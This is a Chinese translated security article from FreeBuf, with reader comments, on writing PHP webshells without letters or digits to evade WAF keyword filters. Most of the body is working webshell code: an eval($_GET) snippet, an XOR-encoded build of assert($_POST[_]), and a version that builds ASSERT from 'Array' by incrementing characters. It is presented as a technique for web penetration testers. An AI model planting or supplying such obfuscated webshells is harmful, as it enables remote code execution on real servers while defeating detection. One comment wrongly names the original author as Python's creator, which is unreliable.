您的位置:首页 > 运维架构 > Shell

通过非数字和字符的方式实现PHP WebShell

2017-07-03 16:21 381 查看




话不多说,我们直奔主题!

一般来说,我们所写的webshell通常都会包含数字或字母。比如说下面这样:

<?php

if(!preg_match('/[a-z0-9]/is',$_GET['shell'])){

eval($_GET['shell']);

}

但如果你想要绕过WAF的话,你还得使用一些其他的技术来重写你的webshell。

思路

首先我们要明确思路,我的核心思想就是通过一系列字符变换最终利用非字母和非数字字符构建出webshell,然后使用PHP的动态函数(例如“assert”)来完成函数名的拼接,最后动态执行构建出来的代码。

所以,转换方法就是解决这一问题的重点了。但是在开始之前,我需要跟大家讨论以下php5和php7之间的区别。

php5的断言(assert)是通过函数实现的,我们可以使用$f=’assert’;$f(…);这种方法来动态执行任意代码。但是在php7中,断言已经不再是一个函数了,而是一种语言结构(类似eval),而且断言(assert)也无法再作为函数名来实现代码的动态执行了,所以对于php7来说,问题可能会变得更加复杂了。不过各位也不用太过担心,因为我们可以使用 file_put_contents函数来达到我们的目的。

为了方便起见,本文的实验环境使用的是php5,关于php7的利用方式就请各位自行去探索啦:D

方法一

这是一种最简单的方法了。在php中,我们可以通过异或运算(XOR)来得到一个或两个字符串。因此,如果我们想要得到一个a-z之间的英文字符,我们就可以通过两个非字母字符和字符数来生成所需要的字母字符。示例代码如下:

<?php$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); //$_='assert';

$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']');// $__='_POST';

$___=$$__;

$_($___[_]); // assert($_POST[_]);

解析结果如下:




方法二

在这种方法中,我们可以使用一些特殊的小技巧来实现我们的目标。首先,请大家参考php.net的这份文档:【传送门

文档中写到:“在处理字符变量的算术运算时,PHP遵循的是Perl的规范,而并非C语言规范。比如说在PHP和Perl中,$a = ‘Z’; $a++;经过计算之后变量$a会变成 ‘AA’,但是在C语言中,a = ‘Z’; a++;计算后会将a变为‘[’(‘Z’的ASCII值为90,‘[’的ASCII值为91)。请注意,字符变量可以进行自增运算但无法进行自减运算,而且只有ASCII字母和数字(a-z,A-Z,0-9)才支持这种运算,如果对其他字符变量进行这种运算将不会有任何作用,此时的原始字符串将保持不变。”

那么接下来,我们应该如何才能得到一个包含字符‘a’的变量呢?

字符串“Array”的首字母是一个大写的‘A’,而第四个字母则是一个小写的‘a’。换句话说,我们可以通过这个字符串同时得到大写和小写的字母‘a’(A),这也就意味着我们可以通过这种方法得到a-z和A-Z中任意一个字母字符。

比如说在PHP中,如果你想拼接数组和字符串,那么你首先要将字符串(array)转换成一个字符串(这个字符串的值为Array):




然后截取字符串的首字母,我们就得到了‘A’。

利用这项技术,我编写了如下所示的webshell(由于PHP函数是对大小写敏感的,所以我在结尾补上了ASSERT($_POST[_])):

<?php

$_=[];

$_=@"$_"; // $_='Array';

$_=$_['!'=='@']; // $_=$_[0];

$___=$_; // A

$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;

$___.=$__; // S

$___.=$__; // S

$__=$_;

$__++;$__++;$__++;$__++; // E

$___.=$__;

$__=$_;

$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;// R

$___.=$__;

$__=$_;

$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;// T

$___.=$__;

$____='_';

$__=$_;

$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;// P

$____.=$__;

$__=$_;

$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;// O

$____.=$__;

$__=$_;

$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;// S

$____.=$__;

$__=$_;

$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;// T

 $____.=$__;

$_=$$____;

$___($_[_]); // ASSERT($_POST[_]);

解析结果如下图所示:




总结

很多网站现在都会对特殊字符进行过滤和检测,因此希望这项技术可以给各位Web渗透测试人员提供一些解决问题的思路。 

* 参考来源:securityonlineleavesongs
,  FB小编Alpha_h4ck编译,转载请注明来自FreeBuf.COM





Alpha_h4ck
215 篇文章 等级:
8级

|

|

上一篇:什么是SSL预证书?

下一篇:
使用Python检测并绕过Web应用程序防火墙

这些评论亮了





常运
(5级)c4td0g, 信安从业者,信安爱好者。(各位爷,轻点喷)回复
p牛写的被老外翻译过去,现在你们又翻译回来,果然猜中了。 :?:
)47(
亮了

发表评论

已有 13 条评论





常运 


(5级) c4td0g, 信安从业者,信安爱好者。(各位爷,轻点喷)
 2017-07-01 回复
1楼

p牛写的被老外翻译过去,现在你们又翻译回来,果然猜中了。


亮了(47)





wyldlmu 
(1级)
 2017-07-01 回复

@ 常运  p牛是谁,求科普

亮了(3)



asd  2017-07-03
回复

@ wyldlmu  python作者

亮了(2)



蛤  2017-07-01
回复
2楼

你知道翻译有多辛苦嘛?你们就喷

亮了(5)





一只小蚂蚁 
(1级)
 2017-07-01 回复
3楼

你知道翻译有多辛苦嘛?你们就喷

亮了(4)



17A4DF6ECED97EBC
 2017-07-01
回复
4楼

被你猜中了 被翻译回来啦。

亮了(1)





95SEC 
(1级)
 2017-07-01 回复
5楼

栋牛神预言啊,P神也无奈了,现在都去找栋牛预测彩票了//笑哭

亮了(1)



幕刃  2017-07-01
回复
6楼

为什么我第一种方法有点问题




亮了(1)





notlsf 
(1级) 这家伙有毒!
 2017-07-03 回复

@ 幕刃 不看原文的下场…

p牛文章中有写到“因为其中存在很多不可打印字符,所以我用url编码表示了”

亮了(1)



幕刃  2017-07-03
回复

@ notlsf  谢谢指点,求个原文链接吧

亮了(1)





notlsf 
(1级) 这家伙有毒!
 2017-07-03 回复

@ 幕刃 文章末尾的参考来源里有 https://www.leavesongs.com/penetration/webshell-without-alphanum.html
亮了(0)



幕刃  2017-07-03
回复

@ notlsf  非常感谢

亮了(0)



水泡泡  2017-07-02
回复
7楼

p神心中毫无波动。。
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: